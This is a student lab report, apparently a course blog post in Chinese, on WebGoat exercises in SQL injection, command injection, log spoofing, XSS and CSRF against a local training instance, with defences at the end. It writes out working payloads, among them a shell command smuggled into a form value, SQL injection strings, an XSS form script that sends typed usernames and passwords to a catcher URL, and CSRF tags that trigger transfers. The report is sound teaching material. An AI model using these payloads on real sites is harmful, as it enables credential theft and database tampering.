jujukai

导航

20174307周俊锴《网络对抗技术》Exp9 Web安全基础

1.1 基础知识

SQL注入

  • 原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

XSS

  • 原理:XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。

CSRF

  • 原理:,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

二、实验过程

2.1 实验准备

  • 下载webgoat:网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar。

  • 在含有该文件的文件夹那开启命令行,输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat

  • 运行一段时间之后命令行出现Starting ProtocolHandler证明开启成功

浏览器中输入localhost:8080/WebGoat进入WebGoat登录界面

输入用户名guest密码guest

2.SQL注入攻击

2.2.1 命令注入

  • 在左侧菜单栏中选择Injection Flaws->Command Injection

  • 右键点击复选框选择Inspect Element审查网页元素对源代码<option>进行修改,在复选框中任意一栏的代码(例如第一栏)后添加"& netstat -an & ipconfig"

2.2.2数字型SQL注入

  在左侧导航栏中,将刚才选中的“Command Injection”换成它下面紧挨着的“Numeric SQL Injection”,然后在新进入的页面中,用和上一步相同的方法呼出网页源码页面,快捷键ctrl+shift+c定位到Select your local weather station后面的复选框,在源代码value="101"处进行修改,在101后添加or 1=1,保存后点击复选框下面的按钮Go!,然后数据库就会执行SQL语句:SELECT * FROM weather_data WHERE station = 101 or 1=1,后面的条件“1=1”是永真的,所以or语句也是永真的,那么SQL语句执行不需要条件,执行后可以无条件查看到数据库中所有城市的天气数据。

 

2.2.3日志欺骗

Numeric SQL Injection的下面找到Log Spoofing。它可以伪造出登录成功和失败的假象。在User Name中填入WebGoat%0d%0aLogin Succeeded for username: 20174307。点击Login按钮,观察到以下结果。

2.2.4 字符串型注入

字符串SQL注入攻击对任何数据库驱动的站点都构成了严重威胁。 攻击背后的方法很容易学习,所造成的损害可能从相当大的损害到整个系统的损害。 尽管存在这些风险,但Internet上数量惊人的系统仍容易受到这种形式的攻击。它不仅容易引发威胁,而且只要一点常识和前瞻性,就可以轻松地避免这种威胁。

基于SELECT * FROM user_data WHERE last_name = '?'查询语句构造自己的SQL注入字符串,姓名框输入Smith' or 1=1--,执行后可以看到所有人的卡号等信息:

2.2.5 数据库后门

使用字符串SQL注入执行多个SQL语句,使用易受攻击的字段创建两个SQL语句,第一个是系统的,第二个是自己定义的。首先输入101查看现有的信息

可以看到现在的薪水是55000,接下来我们使用101; update employee set salary=100000,执行两条语句,第一条用于查看信息,后面的update则将薪水更新为100000

3. XSS攻击

2.3.1 Phishing with XSS

原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁

目标: 创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

操作:在搜索框输入如下代码

</form>

<script>

function hack(){

XSSImage=new Image;

XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);

}

</script>

<form name="phish">

<br>

<br>

<HR>

<H3>This feature requires account login:</H3 >

<br>

<br>Enter Username:<br>

<input type="text" name="user"><br>

Enter Password:<br>

<input type="password" name = "pass"><br>

<input type="submit" name="login" value="login" onclick="hack()">

</form>

<br>

<br>

<HR>

编写好表单代码,在搜索框输入代码,页面增加一个表单:

输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

 

2.3.2 Stored XSS Attacks

存储型XSS攻击常见于论坛等留言平台,用户留言的时使用JavaScript脚本作为留言内容,这段脚本就保存在数据库中。任何用户在打开网页时该脚本自动运行,达到写入非法的消息内容,从而导致其他用户访问时载入非预期的页面或内容的目的。

title中随意输入,留言板中输入<script>alert("I'm 20174307!");</script>,提交后如下:

2.3.3 Reflected XSS Attacks

原理:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击

目标:攻击当前页面

操作:输入 <script>alert("20174307!");</script> ,点击Purchase

4.CSRF攻击

2.4.1 Cross Site Request Forgery

目标:向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。

操作:网页提示Parameters中的src为279,menu为900,在Message中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=279&menu=900&transferFunds=5000" width="1" height="1" />,以图片形式将URL放入Message框中,用户点击图片就会触发CSRF事件,点击Submit提交

在Message List中生成以Title命名的链接,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的

2.4.2 CSRF Prompt By-Pass

查看Parameters中的scr=328menu=900

在消息栏中输入

<iframe src="attack?Screen=328&menu=900&transferFunds=4307"> </iframe>

<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>

点击Submit生成以Title命名的链接,点击链接攻击成功。

三、实验总结

3.1 基础知识回答

(1)SQL注入攻击原理,如何防御

  • 原理:
    • 应用程序会将输入带入后台的SQL查询语句,后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果
  • 防御:
    • 使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
    • 摒弃动态SQL语句,而改用用户存储过程来访问和操作数据。这需要在建立数据库后,仔细考虑Web程序需要对数据库进行的各种操作,并为之建立存储过程,然后让Web程序调用存储过程来完成数据库操作。

(2)XSS攻击的原理,如何防御

  • 原理:
    • 攻击者往Web页面里插入恶意html标签或者javascript代码,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
  • 防御:
    • 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
    • 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。

(3)CSRF攻击原理,如何防御

    • 原理:
      • CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
        -主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
    • 防御:
      • 验证referer:因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断referer头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击;
      • 使用验证码:每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
      • 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击;
      • 避免全站通用的cookie,严格设置cookie的域;
      • 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作。

3.2 实验感受

        这次做的是Web安全基础,主要包含SQL注入攻击、XSS攻击和CSRF攻击,主要参考学姐的博客完成。实验主要是在WebGoat平台完成的,这个平台很稳定,功能强大,每个攻击的介绍也很清晰。因此,本次实验没有遇到很大的问题。最大的问题可能是GitHub限速的问题。WebGoat下载很慢费了很长时间,这个不知道有什么好的解决方法。
       通过本次实验,我实践并掌握了多种SQL注入攻击、XSS攻击和CSRF攻击技术,我接触到了更多的不同实际情况下的各种对web的攻击,使我对网络攻击的方法和原理有了更深层次的理解。在这个实践的过程中我也感受了很多现实情况下对漏洞的侵害,提高了我对网络风险的认识。

 

 

 

 

posted on 2020-05-27 16:50  jujukai  阅读(50)  评论(0编辑  收藏